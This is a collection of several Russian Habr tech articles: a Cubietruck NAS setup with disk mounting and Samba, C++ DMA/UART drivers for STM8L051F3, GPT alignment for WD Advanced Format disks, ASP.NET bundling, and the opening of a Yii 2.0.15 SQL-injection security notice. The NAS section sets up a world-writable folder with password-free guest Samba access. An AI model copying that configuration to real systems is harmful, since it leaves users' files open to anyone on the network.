64 bytes from www.yandex.ru (213.180.193.3): icmp_req=2 ttl=56 time=1.82 ms
64 bytes from www.yandex.ru (213.180.193.3): icmp_req=3 ttl=58 time=1.95 ms
```
Ответ есть, сеть настроена
#### **Автоматическое монтирование раздела HDD**
Создадим папку, куда будет монтироваться HDD.
```
sudo mkdir /media/files
```
Даем право доступа на чтение/запись для всех пользователей.
```
sudo chmod 777 /media/files
```
Просмотр разделов HDD.
```
sudo fdisk -l
```
У меня установлен диск на 500Gb
```
Disk /dev/sda: 500.1 GB, 500107862016 bytes
255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x82e3ff7e
```
Отформатируем диск в файловую систему **ext4**
```
sudo mkfs.ext4 /dev/sda
```
Узнаем **UUID** нашего HDD
```
sudo blkid
```
```
/dev/mmcblk0p1: LABEL="cubieboard" UUID="2a1124a9-6108-4da0-932f-78ccbfd92458" TYPE="ext4"
/dev/sda: UUID="ff0caf96-39b9-4aff-a4d0-5892abfdca8f" TYPE="ext4"
```
Нам понадобиться UUID /dev/sda
Копируем UUID без кавычек
**ВНИМАНИЕ.** У каждого диска свой UUID
Теперь добавляем запись в **/etc/fstab**
```
sudo nano /etc/fstab
```
В самый конец добавляем
```
UUID=ff0caf96-39b9-4aff-a4d0-5892abfdca8f /media/files ext4 defaults,acl,user,user_xattr,errors=remount-ro
```
\* аттрибуты выставляете по своему вкусу
Записи разделяем либо пробелом, либо табуляцией
Перезагружаемся:
```
sudo reboot
```
После перезагрузки проверяем
```
mount
```
Диск примонтирован в систему
```
/dev/sda on /media/files type ext4 (rw,nosuid,nodev,noexec,relatime,errors=remount-ro,data=ordered)
```
Если диск отформатирован в системе **NTFS** и его надо примонтировать в систему
```
Device Boot Start End Blocks Id System
/dev/sda1 2048 234438655 117218304 7 HPFS/NTFS/exFAT
```
Для начала обновим список репозиториев и поиск индексов обновленных версий программ, драйверов, ядра и всего прочего:
```
sudo apt-get update
```
Для того необходимо установить утилиту **ntfs-3g**
```
sudo apt-get install ntfs-3g
```
Узнаем **UUID** нашего раздела
```
sudo blkid
```
```
/dev/sda1: LABEL="M-PM-^]M-PM->M-PM-2M-QM-^KM-PM-9 M-QM-^BM-PM->M-PM-<" UUID="E8923D15923CE9A8" TYPE="ntfs"
```
Нам нужен UUID=«E8923D15923CE9A8»
Теперь добавляем запись в **/etc/fstab**
```
sudo nano /etc/fstab
```
В самый конец добавляем
```
UUID= E8923D15923CE9A8 /media/files ntfs-3g defaults,acl,user,user_xattr,errors=remount-ro
```
\* аттрибуты выставляете по своему вкусу
Записи разделяем либо пробелом, либо табуляцией
Перезагружаемся:
```
sudo reboot
```
После перезагрузки проверяем
```
mount
```
Диск с NTFS примонтировался
```
/dev/sda1 on /media/files type fuseblk (rw,nosuid,nodev,noexec,relatime,user_id=0,group_id=0,allow_other,blksize=4096)
```
#### **Установка Samba**
Для начала обновим список репозиториев и поиск индексов обновленных версий программ, драйверов, ядра и всего прочего:
```
sudo apt-get update
```
Установим **samba**
```
sudo apt-get install samba samba-common-bin
```
В samba много настроек, но сейчас нам необходимо настроим только основные, чтобы получить доступ к нашему диску
Открываем файл **smb.conf**
```
sudo nano /etc/samba/smb.conf
```
Можно удалить все множество настроек, а можно добавить в соответствующие разделы нужные нам настройки
```
[global]
workgroup = WORKGROUP
guest ok = yes
netbios name = CubieNAS
security = share
browseable = yes
[files]
path = /media/files
writeable = yes
browseable = yes
```
Перезапускаем Samba
```
sudo /etc/init.d/samba restart
```
Пробуем зайти
**\\ CubieNAS** или **\\ip**
Если все правильно настроено мы увидим папку **files**
У меня в гигабитной сети скорости:
**Диск EXT4**
Файл 1 Gb передается со скоростью 24-29 Мб/с
Папка с 300 файлами разного формата 16-34 Мб/с
Копирование с кубика
Файл 1 Gb передается со скоростью 26-34Мб/с
Папка с 300 файлами разного формата 22-33Мб/с
**Диск NTFS**
Копирование на кубик
Файл 1 Gb передается со скоростью 8-9 Мб/с
Папка с 300 файлами разного формата 3-8 Мб/с
Копирование с кубика
Файл 1 Gb передается со скоростью 24-28Мб/с
Папка с 300 файлами разного формата 12-27Мб/с
Не быстро, но работает.
[**Cubietruck. Дорожный мини сервер. Часть 2**](http://habrahabr.ru/post/235199/)
[**Cubietruck. Дорожный мини сервер. Часть 3**](http://habrahabr.ru/post/235361/) | https://habr.com/ru/post/235355/ | null | ru | null |
# Драйвера на С++ для STM8L051F3
#### Проблемы и требования к драйверу
Каждый опытный программист микропроцессоров сталкивался с написанием драйверов. При реализации небольших проектов или при переносе уже готового отлаженного кода на другой процессор, написание и отладка драйверов может занимать 50% и больше времени разработки. Причем процесс написания драйвера, для нового процессора, и состыковка существующего кода может быть очень не приятной из-за отсутствия структуры и общности в драйвере. Для программиста это становится нервной рутиной. Определим важные проблемы, при написании драйвера:
1. Отсутствие структуры драйвера. Решение данной проблемы позволить лучше ориентироваться по драйверу, следовательно, отладка становится проще.
2. Отсутствие общности драйвера. То есть интерфейс драйвера должен быть одинаковый, для, хотя бы, линейки процессоров, и в идеале для аналогичных процессоров разных фирм. Это позволит переносить код, завязанный на драйвер, без изменений или с минимальными изменениями.
3. Сохранение эффективности по скорости выполнения драйвера.
4. Оптимальное использование памяти.
В данном посте я покажу, как можно ликвидировать эти проблемы и сделать процесс написания драйвера более приятной задачей на примере двух драйверов UART и DMA реализованных на языке С++. Для этого я сформулировал требования, для драйвера:
1. Драйвер должен быть структурированным. Драйвер будет реализован в виде класса С++, что позволит создавать объект драйвера. Это удобно и логично, если в процессоре, например, есть три UART и четыре канала DMA, то можно создать три объекта драйвера, для каждого UART, и четыре объекта драйвера для каждого канала DMA. В случае, если в проекте используется только один UART, то можно создать только один объект, для соответствующего UART и т.п.
2. Драйвер должен иметь одинаковый интерфейс, для множества процессоров. Выполнить это требование весьма сложно, так как, что бы выделить общий интерфейс удобный, для множества процессоров, нужно проработать это множество процессоров, что займет множество времени. Поэтому я создал интерфейс удобный для STM8L051F3, а затем по мере появления проекта на новом процессоре буду корректировать этот интерфейс. Таким образом, можно выделить максимально общий и оптимальный, для всех процессоров интерфейс со временем.
3. Драйвер должен быть максимум эффективный. В идеале скорость выполнения и объем занятой память должны быть не более, чем если написать этот драйвер напрямую обращаясь к регистрам. Значительно скорость выполнения драйвера можно увеличить с помощью использования шаблона С++. Шаблон С++ позволяет обращаться на прямую к памяти, тем самым заменить указатели, разыменование которых занимает время. Но также есть затраты на вызов функции интерфейса драйвера. С помощью оператора inline вызов функции устранить не удалось, это видно по ассемблерному коду. Может быть, при включении оптимизатора компилятора данный оператор будет влиять… Так как настройка драйвера выполняется одноразово или с медленной периодичностью, то затраты на вызов функции являются не критичными.
#### Использование драйвера
Итак, для начала, рассмотрим использование драйвера DMA, а затем реализацию. С помощью DMA выполняем передачу данных из ОЗУ в сдвиговый регистр UART и прием данных из сдвигового регистра UART в ОЗУ.
```
#include "iostm8l051f3.h"
#include "Driver_DMA.hpp"
char UartBuffer[128];
// создание объектов драйвера DMA
DriverDMA DMAChannelTX; // DMA1 канал 1
DriverDMA DMAChannelRX; // DMA1 канал 2
void func()
{
DMAChannelTX.global\_disable(); // отключение всех каналов
// настройка передающего канала DMA
DMAChannelTX.set\_periph\_addr(&USART1\_DR); // установка периферийного адреса
DMAChannelTX.set\_memory0\_addr(UartBuffer); // установка адреса в ОЗУ
DMAChannelTX = EnumDMA::DATABLOCK\_8bit; // передача по-байтно
DMAChannelTX = EnumDMA::PRIORITY\_MEDIUM; // приоритет средний
DMAChannelTX = EnumDMA::MEMPNT\_INCREMENT; // инкрементирование адреса после передачи
DMAChannelTX = EnumDMA::MEMORY\_TO\_PHERIPH; // передача из ОЗУ в сдвиговый регистр UART
DMAChannelTX = EnumDMA::CIRCULAR\_DISABLE; // циклическая передача отключена
// настройка приемного канала DMA
DMAChannelRX.set\_periph\_addr(&USART1\_DR);
DMAChannelRX.set\_memory0\_addr(UartBuffer);
DMAChannelRX = EnumDMA::DATABLOCK\_8bit;
DMAChannelRX = EnumDMA::PRIORITY\_MEDIUM;
DMAChannelRX = EnumDMA::MEMPNT\_INCREMENT;
DMAChannelRX = EnumDMA::PHERIPH\_TO\_MEMORY; // передача из сдвигового регистра UART в ОЗУ
DMAChannelRX = EnumDMA::CIRCULAR\_DISABLE;
DMAChannelRX.set\_number\_of\_transfers(sizeof(UartBuffer));
DMAChannelRX.channel\_enable(); // текущий канал включен
DMAChannelTX.global\_enable(); // включение всех каналов
}
```
Как видно из предыдущего листинга, код становится более понятный, для чтения, и самодокументируемым.
#### Интерфейс драйвера
Интерфейс определен в структуре EnumDMA, в которой определены перечисления, которые используются в качестве аргументов методов драйвера.
```
struct EnumDMA
{
enum DMASel{
DMA1 = 0x5070
};
enum ChannelSel{
CHANNEL0 = 0x05,
CHANNEL1 = 0x0F,
CHANNEL2 = 0x19,
CHANNEL3 = 0x23
};
enum DataBlock{
DATABLOCK_8bit, DATABLOCK_16bit
};
enum ChannelPriority{
PRIORITY_LOW,
PRIORITY_MEDIUM,
PRIORITY_HIGH,
PRIORITY_VERYHIGH
};
enum MemoryPointerMode{
MEMPNT_DECREMENT,
MEMPNT_INCREMENT
};
enum CircularBufferMode{
CIRCULAR_DISABLE,
CIRCULAR_ENABLE
};
enum TransferType{ // только для канала 3
TRANS_TYPE_PHERIPH_TO_MEMORY,
TRANS_TYPE_MEMORY0_TO_MEMORY1
};
enum TransferDirection{
PHERIPH_TO_MEMORY,
MEMORY_TO_PHERIPH
};
enum InterruptSelection{
INTERRUPT_HALF_TRANSACTION_COMPLETE,
INTERRUPT_TRANSACTION_COMPLETE
};
enum InterruptVectors{
VECTOR_DMA1_CHANNEL0_HALF_TRANSACTION_COMPLETE = DMA1_CH0_HT_vector,
VECTOR_DMA1_CHANNEL0_TRANSACTION_COMPLETE = DMA1_CH0_TC_vector,
VECTOR_DMA1_CHANNEL1_HALF_TRANSACTION_COMPLETE = DMA1_CH1_HT_vector,
VECTOR_DMA1_CHANNEL1_TRANSACTION_COMPLETE = DMA1_CH1_TC_vector,
VECTOR_DMA1_CHANNEL2_HALF_TRANSACTION_COMPLETE = DMA1_CH2_HT_vector,
VECTOR_DMA1_CHANNEL2_TRANSACTION_COMPLETE = DMA1_CH2_TC_vector,
VECTOR_DMA1_CHANNEL3_HALF_TRANSACTION_COMPLETE = DMA1_CH3_HT_vector,
VECTOR_DMA1_CHANNEL3_TRANSACTION_COMPLETE = DMA1_CH3_TC_vector,
};
};
```
Перечисление DMASel позволяет выбрать модуль DMA, а перечисление ChannelSel определяет смещение в памяти между каналами DMA. В процессоре STM8L051F3 один модуль DMA, поэтому выбор не велик. Перечислению DMA1 присвоен адрес модуля DMA1.
Дизайн класса DriverDMA:
```
template
class DriverDMA
{
private:
...
struct DMA\_struct // регистры модуля DMA влияющие на все каналы
{
volatile GCSR\_REG GCSR; /\*!< Global configuration and status register \*/
volatile GIR\_REG GIR1; /\*!< Global interrupt register 1 \*/
};
...
struct DMA\_Channel\_struct // регистры каналов модуля DMA
{
volatile CCR\_REG CCR; /\*!< CHx Control register \*/
volatile CSPR\_REG CSPR; /\*!< CHx Status & Priority register \*/
volatile unsigned char CNDTR; /\*!< CHx Number of Bytes to Tranfer register \*/
volatile unsigned char CPARH; /\*!< Peripheral Address High register \*/
volatile unsigned char CPARL; /\*!< Peripheral Address Low register \*/
volatile unsigned char CM0EAR; /\*!< Memory 0 Extended Address register (for channel3)\*/
volatile unsigned char CM0ARH; /\*!< Memory 0 Address High register \*/
volatile unsigned char CM0ARL; /\*!< Memory 0 Address Low register \*/
};
u8 number\_of\_transfers;
u8 NumChannel;
public:
DriverDMA();
void operator= (EnumDMA::DataBlock);
void operator= (EnumDMA::ChannelPriority);
void operator= (EnumDMA::MemoryPointerMode);
void operator= (EnumDMA::CircularBufferMode);
void operator= (EnumDMA::TransferDirection);
void operator= (EnumDMA::TransferType); // только для канала 3
void global\_enable();
void global\_disable();
void channel\_enable();
void channel\_disable();
void set\_number\_of\_transfers(const u16 trans\_num);
void set\_periph\_addr(u8 volatile\* addr);
void set\_memory0\_addr(u8\* addr);
// ДОСТУПНЫЕ АДРЕСА ОТ 0х0000 до 0х1FFF
void set\_memory1\_addr(u8\* addr); // только для канала 3
bool is\_busy();
u16 get\_amount\_of\_last\_transation();
void interrupt\_enable(EnumDMA::InterruptSelection);
void interrupt\_disable(EnumDMA::InterruptSelection);
void interrupt\_clear\_pending\_flag(EnumDMA::InterruptSelection);
};
```
Регистры модуля DMA определены в секции private, с помощью шаблона С++ выбирается модуль DMA и канал модуля.
#### Описание реализации драйвера
Реализация конструктора класса и двух методов:
```
//----------------------------------------------------------------------------------------------
template
DriverDMA::DriverDMA()
{
CLK\_PCKENR2\_bit.PCKEN24 = 1; // DMA clock enable
\_\_DMA->GCSR.bit.TO = 31;
NumChannel = (u8)DMAChannel;
}
//----------------------------------------------------------------------------------------------
template
void DriverDMA::operator= (EnumDMA::DataBlock db)
{
\_\_DMACHANNEL->CSPR.bit.TSIZE = db;
}
//----------------------------------------------------------------------------------------------
template
void DriverDMA::global\_enable()
{
\_\_DMA->GCSR.bit.GEN = 1; // Global enable of DMA1
}
```
где \_\_DMA и \_\_DMACHANNEL определены следующим образом:
```
#define __DMA ((DMA_struct*) DMA)
#define __DMACHANNEL ((DMA_Channel_struct*) ((u32)DMA + (u32)DMAChannel))
```
На первый взгляд сложная конструкция:
```
__DMACHANNEL->CSPR.bit.TSIZE = db;
```
интерпретируется компилятором как 3 ассемблерных команды, а команда:
```
__DMA->GCSR.bit.GEN = 1;
```
занимает одну ассемблерную команду.
#### Прерывания
Что бы создать прерывание необходимо его разрешить, написать функцию прерывания, в которой нужно выполнить квитирование. Например создадим прерывание по окончанию транзакции DMA:
```
void func()
{
// разрешаем прерывание по завершению транзакции
DMAChannelTX.interrupt_enable(EnumDMA::INTERRUPT_TRANSACTION_COMPLETE)
}
#pragma vector = EnumDMA::VECTOR_DMA1_CHANNEL1_TRANSACTION_COMPLETE
__interrupt void DMA_transaction_complete()
{
// здесь обработка прерывания
DMAChannelTX.interrupt_clear_pending_flag(EnumDMA::INTERRUPT_TRANSACTION_COMPLETE)
}
```
#### Реализация драйвера UART с помощью драйвера DMA
Драйвер UART также реализован подобным образом с помощью класса, но без применения шаблона С++, так как модуль UART только один в данном процессоре. Драйвер UART использует два канала DMA, для приема и передачи данных. Так как пользователю драйвера доступ к DMA не нужен, то инициализируем DMA в секции private:
```
class DriverUART
{
private:
...
u8 UartBuffer[128];
DriverDMA DMAChannelTX;
DriverDMA DMAChannelRX;
...
```
Настройку DMA можно выполнить в конструкторе драйвера UART, таким образом, при создании объекта UART драйвера DMA будет сразу инициализировано и готово к работе.
```
//-----------------------------------------------------------------------
// Main DriverUART Constructor
//-----------------------------------------------------------------------
DriverUART::DriverUART(SELECTUART uart, u32 baud_rate, u32 sys_clock, PinconfigUART confPin)
{
CLK_PCKENR1_bit.PCKEN15 = 1; // UART clock enable
USART1_CR1_bit.USARTD = 0;
USART1_CR5_bit.DMAT = 1; // DMA enable transmitter
USART1_CR5_bit.DMAR = 1; // DMA enable receiver
DMAChannelTX.global_disable();
DMAChannelTX.set_periph_addr(&USART1_DR);
DMAChannelTX.set_memory0_addr(UartBuffer);
DMAChannelTX = EnumDMA::DATABLOCK_8bit;
DMAChannelTX = EnumDMA::PRIORITY_MEDIUM;
DMAChannelTX = EnumDMA::MEMPNT_INCREMENT;
DMAChannelTX = EnumDMA::MEMORY_TO_PHERIPH;
DMAChannelTX = EnumDMA::CIRCULAR_DISABLE;
DMAChannelRX.set_periph_addr(&USART1_DR);
DMAChannelRX.set_memory0_addr(UartBuffer);
DMAChannelRX = EnumDMA::DATABLOCK_8bit;
DMAChannelRX = EnumDMA::PRIORITY_MEDIUM;
DMAChannelRX = EnumDMA::MEMPNT_INCREMENT;
DMAChannelRX = EnumDMA::PHERIPH_TO_MEMORY;
DMAChannelRX = EnumDMA::CIRCULAR_DISABLE;
DMAChannelRX.set_number_of_transfers(sizeof(UartBuffer));
DMAChannelRX.channel_enable();
DMAChannelTX.global_enable();
set_sysclock(sys_clock, baud_rate);
USART1_CR2_bit.TCIEN = 1; // вкл. прерывания по окончанию передачи
USART1_CR2_bit.ILIEN = 1; // вкл. прерывание по приему
USART1_CR5_bit.EIE = 1; // вкл. прерывание по ошибке приема
__enable_interrupt();
close();
}
```
Реализация передачи данных:
```
void DriverUART::transmit(u8 * source, u16 size)
{
while(DMAChannelTX.is_busy()) ;
select_direction(TRANSMITION);
__disable_interrupt();
DMAChannelTX.global_disable();
DMAChannelTX.channel_disable();
DMAChannelTX.set_number_of_transfers(size);
DMAChannelTX.set_memory0_addr(source);
DMAChannelTX.global_enable();
DMAChannelTX.channel_enable();
__enable_interrupt();
}
```
Пример использования:
```
u8 buffer[] = "hello world!"
Uart1.transmit(buffer, sizeof(buffer));
```
По приему генерируется прерывание, в котором необходимо выполнять сброс приемного канала DMA:
```
void DriverUART::reception_handshake()
{
__disable_interrupt();
DMAChannelRX.global_disable();
DMAChannelRX.channel_disable();
received_size = DMAChannelRX.get_amount_of_last_transation();
DMAChannelRX.set_number_of_transfers(sizeof(UartBuffer));
DMAChannelRX.global_enable();
DMAChannelRX.channel_enable();
__enable_interrupt();
}
```
В прерывании можно получить указатель на внутренний буфер, в котором лежат полученные данные, и размер полученного пакета. Так как в данном случае прерывание создано внутри класса, то обработчик необходимо реализовать следующим образом:
```
//--------------------------------------------------------------------------
// Прерывание по приему
//--------------------------------------------------------------------------
void DriverUART::receive_handle()
{
u16 size;
u8* pnt;
Uart1.reception_handshake();
size = Uart1.get_received_size();
pnt = Uart1.get_pointer_on_internal_buffer();
// здесь может быть обработчик прерывания
}
```
#### Заключение
Данные драйвера имеют четкую структуру, которая позволяет хорошо ориентироваться по ним, и благодаря которой драйвер лучше запоминается. Драйвер теперь воспринимается как объект, который можно настроить, через него можно что-то передать и что-то получить из него.
Создан интерфейс в виде перечней С++, который помогает лучше понять свойства и возможности драйвера и минимизировать общение с дата шитом процессора. Код благодаря данному интерфейсу становится самодокументируемым. Это все позволяет быстрее разобраться новичку в драйвере и вспомнить суть собственного кода опытному программисту.
Код драйвера можно использовать как шаблон, для написания аналогичного драйвера другого процессора данной линейки драйверов или других фирм производителей, значительно не меняя интерфейс.
Благодаря использованию шаблона С++ удалось значительно повысить скорость выполнения драйвера, но остаются затраты на вызов функции, которыми можно пренебречь, где не критична скорость выполнения.
Файлы драйверов DMA и UART можно скачать данной ссылке [STM8L051F3\_Drivers](https://github.com/SikalovYuriy/STM8L051F3_Drivers).
В файле «Init\_UART.cpp» пример использования драйвера UART. | https://habr.com/ru/post/225635/ | null | ru | null |
# GPT и WD Advanced format
Одна из внезапных проблем при использовании [GPT](http://ru.wikipedia.org/wiki/GPT) — (если мы хотим увидеть приличную скорость записи) необходимость руками подстраивать положение раздела на дисках WD с Advanced format. Суть Advanced Format проста: внутри диск имеет 4к сектора, наружу они эмулируются как 512-байт. Если мы делаем запись двух секторов в пределах одного 4к блока, он записывается один раз. Если мы делаем запись двух секторов так, что задеваем два 4к-сектора — диску приходится читать два сектора, обновлять информацию и записывать их обратно. Плохо и медленно. Современные ОС используют 4к блоки для записи, так что если мы попадём правильно, то каждая операция записи будет просто записью, без чтения. Если же мы попадём неровно (например, 2кб из первого сектора и 2кб из второго), то мы получим огромные тормоза (см ссылку внизу на сайт IBM с статистикой «торможения» при ошибках в разметке).
WD, когда размышляла насчёт 512 VS 4k, не учла, что помимо MBR есть ещё GPT. В случае 2Тб дисков MBR ещё терпит, однако, впереди диски на 3Тб, и в них MBR просто математически не сможет обеспечить разделы и переход на GPT неизбежен.
Так что проблему GPT и WD нужно учитывать уже сегодня. Основным инструментом для манипуляций с GPT в настоящий момент является parted и его графическая версия gparted. К сожалению, gparted не умеет того, что нам нужно, так что всё последующее описывает использование parted.
Основная мысль: Все величины (начало, конец раздела) должны быть кратны 4кБ, или, что чуть проще, 8 секторам. Это требование WD advanced format.
Сама GPT занимает некоторый объём (33 сектора: 32 сектора GPT, 1 сектор — фальшивый MBR-затычка), так что первое кратное 8 число, с которым мы можем работать — 40 секторов. Оконечное число зависит от ёмкости диска, но тоже, желательно, кратное 8. Кроме того, GPT дублируется в конце диска, так что место в конце диска так же будет «обкусано».
Для наилучшей производительности нужно учесть размер PE для LVM — 4Mb (8192 сектора) и установить размер тома кратным количеству PE. В результате всех этих манипуляций мы потеряем чуть-чуть места (меньше 8Мб), но зато получим быстрый том, у которого будут отсутствовать «unused» килобайты в описании в LVM.
Помимо этого есть ещё мнение самого gparted, о том, что лучшее положение тома — кратно мегабайтам. Таким образом, итоговые требования звучат так: том должен начинаться и заканчиваться на величинах, кратных 4Мб.
Итак, создание LVM тома на WD'шном диске с Advanced Format:
`# parted /dev/sdx`
`mklabel gpt`
оздание таблицы разделов GPT
`unit s`
#считать место в секторах.
`print`
>Disk /dev/sdx: 3907029168s
вывести информацию о винте.
В этом выводе нас интересует количество секторов, обратите внимание, так как у нас WD'шный диск, то число секторов просто обязано быть кратным 8. Если оно не кратно 8 — либо это не Advanced Format, либо кто-то играется с джамперами, либо ещё что-то страшное случилось (например, вы ошиблись винтом и только что командой mklabel gpt снесли содержимое диска с самым ценным).
Считаем наши значения: самое старшее, кратное 8192 секторам — 3907026944. Кстати, тут небольшой мухлёж, мы теряем место не два раза, а один, т.к. общий размер нашего тома будет 3907029168-8192 сектора.
`mkpart primary 8192 3907026944`
Если появится надпись
>Warning: You requested a partition from 39s to 3907029167s.
>The closest location we can manage is 39s to 3907029134s.
>Is this still acceptable to you?
>Yes/No?
То это означает, что вы ошибись с математикой и нужно пересчитать заново.
После создания раздела можно выйти из parted и выполнить обычные ритуалы LVM: pvcreate, vgexpand и т.д.
**Литература**:
* [Linux on 4KB-sector disks: Practical advice //ibm.com](http://www.ibm.com/developerworks/linux/library/l-4kb-sector-disks/)
* [Advanced Format //wd.com](http://www.wdc.com/wdproducts/library/?id=216&type=87)
* [Дискуссия авторов util-linux-ng](http://thread.gmane.org/gmane.linux.utilities.util-linux-ng/2926) | https://habr.com/ru/post/102007/ | null | ru | null |
# Добавляем Bundling and Minification в приложение ASP.NET Web Forms
*Представляю вашему вниманию перевод статьи Рика Андерсона (Rick Anderson) [«Adding Bundling and Minification to Web Forms»](http://blogs.msdn.com/b/rickandy/archive/2012/08/14/adding-bundling-and-minification-to-web-forms.aspx)*.
Мой [учебник по Bundling and Minification](http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification) обеспечивает хорошее введение в возможности и основные преимущества ASP.NET Bundling and Minification (далее B/M). Вы должны прочитать это руководство, чтобы ознакомиться с основными возможностями данного продукта. В отличие, от моего руководства по B/M, которое посвящено использованию B/M в ASP.NET MVC, эта статья будет посвящена использованию B/M в связке с ASP.NET Web Forms.
> **Примечание переводчика.** ASP.NET Bundling and Minification также известен под другими названиями: Microsoft ASP.NET Web Optimization Framework, System.Web.Optimization, Microsoft.Web.Optimization и ASP.NET Optimization – Bundling.
Создайте новое приложение ASP.NET Web Forms, ориентированное на .NET Framework 4.5.
Запустите приложение и в открывшемся окне Internet Explorer запустите **F12 Developer Tools**. Перейдите на вкладку **Script**, а затем в списке ресурсов воспользуйтесь кнопками для просмотра JavaScript-файлов.
Вы можете выбрать один из JavaScript-файлов и увидеть его содержимое в левой панели. Обратите внимание, что используются полные (не минимизированные) версии файлов.
### Создание jQuery-bundle`ов
Добавьте jQuery, jQuery UI и jQuery Validation в класс `BundleConfig`, который находится в директории `App_Start`. Следующий код показывает окончательную версию класса:
```
using System.Web.Optimization;
public class BundleConfig
{
public static void RegisterBundles(BundleCollection bundles)
{
bundles.Add(new ScriptBundle("~/bundles/jquery").Include(
"~/Scripts/jquery-{version}.js"));
bundles.Add(new ScriptBundle("~/bundles/jqueryui").Include(
"~/Scripts/jquery-ui-{version}.js"));
bundles.Add(new ScriptBundle("~/bundles/jqueryval").Include(
"~/Scripts/jquery.unobtrusive*",
"~/Scripts/jquery.validate*"));
bundles.Add(new ScriptBundle("~/bundles/WebFormsJs").Include(
"~/Scripts/WebForms/WebForms.js",
"~/Scripts/WebForms/WebUIValidation.js",
"~/Scripts/WebForms/MenuStandards.js",
"~/Scripts/WebForms/Focus.js",
"~/Scripts/WebForms/GridView.js",
"~/Scripts/WebForms/DetailsView.js",
"~/Scripts/WebForms/TreeView.js",
"~/Scripts/WebForms/WebParts.js"));
bundles.Add(new ScriptBundle("~/bundles/MsAjaxJs").Include(
"~/Scripts/WebForms/MsAjax/MicrosoftAjax.js",
"~/Scripts/WebForms/MsAjax/MicrosoftAjaxApplicationServices.js",
"~/Scripts/WebForms/MsAjax/MicrosoftAjaxTimer.js",
"~/Scripts/WebForms/MsAjax/MicrosoftAjaxWebForms.js"));
bundles.Add(new ScriptBundle("~/bundles/modernizr").Include(
"~/Scripts/modernizr-*"));
}
}
```
### Регистрация Bundle`ов
Шаблоны веб-приложений Visual Studio автоматически создают код, который осуществляет регистрацию Bundle`ов в методе `Application_Start` файла `Global.asax`:
```
void Application_Start(object sender, EventArgs e)
{
BundleConfig.RegisterBundles(BundleTable.Bundles);
AuthConfig.RegisterOpenAuth();
}
```
### Добавление ссылок на Bundle`ы
Добавьте jQuery-bundle`ы в элемент управления , как показано в следующем коде:
```
<%: Scripts.Render("~/bundles/modernizr") %>
<%: Scripts.Render("~/bundles/jquery") %>
<%: Scripts.Render("~/bundles/jqueryui") %>
```
В элементе управления `ScriptManager` закомментируйте ссылки на jQuery-скрипты, как показано ниже:
```
<%--
--%>
```
### CSS-bundle`ы
Изучите файл `Bundle.config`, который содержит код для создания CSS-bundle`ов (стилевых Bundle`ов).
```
xml version="1.0" encoding="utf-8" ?
```
В файл `Bundle.config` вы можете добавить ваши собственные стилевые Bundle`ы.
> **Примечание переводчика.** На мой взгляд, создание стилевых Bundle`ов с помощью файла `Bundle.config` ограничивает разработчика, т.к. пропадает возможность добавлять пользовательские трансформации Bundle`ов (классы, реализующие интерфейс `IBundleTransform`). Сейчас существуют целые библиотеки таких трансформаций (например, [Bundle Transformer](http://bundletransformer.codeplex.com/)), которые позволяют транслировать LESS-, Sass-, SCSS- и CoffeeScript-код, а также использовать другие алгоритмы минимизации кода (по умолчанию в B/M используется некая модификация [Microsoft Ajax Minifier](http://ajaxmin.codeplex.com/)). Поэтому лучше создавать стилевые bundle`ы в классе `BundleConfig` (также как в ASP.NET MVC). Для того чтобы настройки, указанные в классе `BundleConfig`, работали корректно нужно в файле `Bundle.config` закомментировать содержимое элемента `bundles`.
Следующий код показывает, как можно добавить ссылки на CSS- и JavaScript-bundle`ы в разметку ASP.NET-страницы:
```
<%: Styles.Render("~/Content/themes/base/css",
"~/Content/css") %>
<%: Scripts.Render("~/bundles/modernizr") %>
<%: Scripts.Render("~/bundles/jquery",
"~/bundles/jqueryui") %>
```
Обратите внимание, что вы можете указать несколько bundle`ов в одном вызове метода `Render`.
> **Примечание переводчика.** Автор ничего не упомянул об элементе управления , с помощью которого также можно добавлять ссылки на стилевые Bundle`ы в разметку ASP.NET-страницы. Поскольку данный элемент управления не поддерживает добавление ссылок на скриптовые Bundle`ы и вносит путаницу, я рекомендую найти все места, где он используется, и заменить его на вызовы метода `Styles.Render`.
**UPD:** После просмотра выступления Говарда Дёркинга (Howard Dierking) [«Build high-performing HTML 5 applications easily with ASP.NET 4.5»](http://visualstudiolaunchstaging.social27.com/vs2012vle/Theater?sid=1760), выяснилось для чего, на самом деле, нужны элемент управления и файл `Bundle.config`. Поскольку `Bundle``ы, созданные в классе `BundleConfig`, становятся доступны только в режиме выполнения, то стили, указанные в них, не применяются в окне дизайнера Visual Studio (режимы отображения **Design** и **Split**). Данную проблему как раз и решают перечисленные выше средства. Похоже, что теперь придется дублировать стили и в классе `BundleConfig`, и в файле `Bundle.config`, а перед развертыванием закомментировать в файле `Bundle.config` содержимое элемента `bundles`. К сожалению, пока не понятно, что нужно делать при использовании в проекте LESS, Sass или SCSS (скорее всего, придется использовать трансляцию (компиляцию) кода во время сборки проекта или обходиться без дизайнера). | https://habr.com/ru/post/150863/ | null | ru | null |
# Релиз Yii 2.0.15 и расширений баз данных с исправленными уязвимостями
Сегодня мы выпускаем обновления Yii для нескольких последних версий 2.0.x и официальных расширений поддержки нереляционных баз данных для исправления найденных уязвимостей. Патчи исправляют проблему в методах слоя ActiveRecord: `findOne()` и `findAll()`, которые могут допустить [SQL инъекцию](https://en.wikipedia.org/wiki/SQL_injection), если входящие данные не подготовлены должным образом.
Мы рассматриваем это как уязвимость в Yii потому что документация для этих методов не содержала явного предупреждения о том, что в некоторых случаях передача нефильтрованых пользовательских данных может быть опасной. Мы благодарим [Analitic1983](https://habrahabr.ru/users/analitic1983/) ([Habr](https://habrahabr.ru/users/analitic1983/), [GitHub](https://github.com/analitic1983)) за обнаружение этой уязвимости.
Проблема относится в большей степени не к самому фреймворку, а к документации по использованию данных методов в приложении. Мы обновили документацию и дополнительно привели примеры кода, который может быть опасен. Однако, обновление документации не исправит приложения, в которых разработчики уже используют методы `findOne()` и `findAll()` небезопасно. Чтобы избежать наихудшего сценария – SQL инъекции, мы также изменили поведение этих методов и добавили принудительную фильтрацию входящих данных, которая ограничивает перечень возможных имён столбцов списком свойств модели ActiveRecord.
Исправление, хоть и убирает подавляющее большинство проблем, не исправляет их все, потому дальше в статье мы детально рассмотрим, какой код уязвим и что нужно сделать, чтобы обезопасить себя.
Перечень уязвимых классов, методов и пакетов
--------------------------------------------
